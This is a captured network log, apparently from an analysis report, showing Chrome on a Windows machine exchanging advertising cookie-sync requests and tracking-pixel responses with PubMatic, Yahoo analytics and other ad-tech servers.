2024-01-10 23:27:25 UTC	918	OUT	GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5; matchmedianet=5; matchpubmatic=5
2024-01-10 23:27:25 UTC	773	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Wed, 10 Jan 2024 23:27:24 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:Rw6Yt2Jl1RnHYF5&gdpr=0&gdpr_consent= Pragma: no-cache Server: PingMatch/v2.0.30-795-gb641a57#rel-ec2-master i-0a94eb28cbc7ec6a6@us-east-1e@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5; Domain=.w55c.net; Expires=Mon, 10-Feb-2025 23:27:25 GMT; Path=/; SameSite=None; Secure Set-Cookie: matchpubmatic=5; Domain=.w55c.net; Expires=Fri, 09-Feb-2024 23:27:25 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.4	50337	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	3143	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzAmdGw9MTI5NjAw&piggybackCookie=di_1673c61b98ba4fbcabc0c HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920
2024-01-10 23:27:25 UTC	590	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 12:23:01 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 12:23:01 GMT; path=/ Set-Cookie: PugT=1704889381; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 12:23:01 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.4	50336	54.166.215.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	615	OUT	GET /CookieSyncPubMatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: rtb.adentifi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:25 UTC	128	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: text/plain Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.4	50342	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	3057	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=7367141199740274687&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245
2024-01-10 23:27:25 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:25 GMT; path=/ Set-Cookie: PugT=1704929245; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:25 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.4	50341	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	3041	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTQ2MSZ0bD0xMDA4MA==&piggybackCookie=AAAGXafxLeElYgMctaPHAAAAAAA&expiration=1705015644&nuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245
2024-01-10 23:27:25 UTC	708	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:24 GMT; path=/ Set-Cookie: PugT=1704929244; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:24 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.4	50348	34.231.250.139	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	963	OUT	GET /pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID HTTP/1.1 Host: beacon.lynx.cognitivlabs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=40f09b66-e671-4da3-b991-c14247c4cce6; ss=C0tr9KgPFgrNDN7ndyYZYg9RbQDDBTw8B5BpThVpD2510eOJ7IXi2Q4oqyxtExzfPdXq1vvGb3VBkLlFhyoEkw%3D%3D
2024-01-10 23:27:25 UTC	337	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Length: 0 Connection: close Server: Kestrel Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=40f09b66-e671-4da3-b991-c14247c4cce6&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.4	50340	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	2954	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=7455955347164126958 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245
2024-01-10 23:27:25 UTC	646	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:24 GMT; path=/ Set-Cookie: PugT=1704929244; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:24 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.4	50346	3.225.218.10	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	1208	OUT	GET /ups/58824/sync?_origin=0&dpid=57926&ovsid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&gdpr=0&redir=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z:18p2~2g3z"
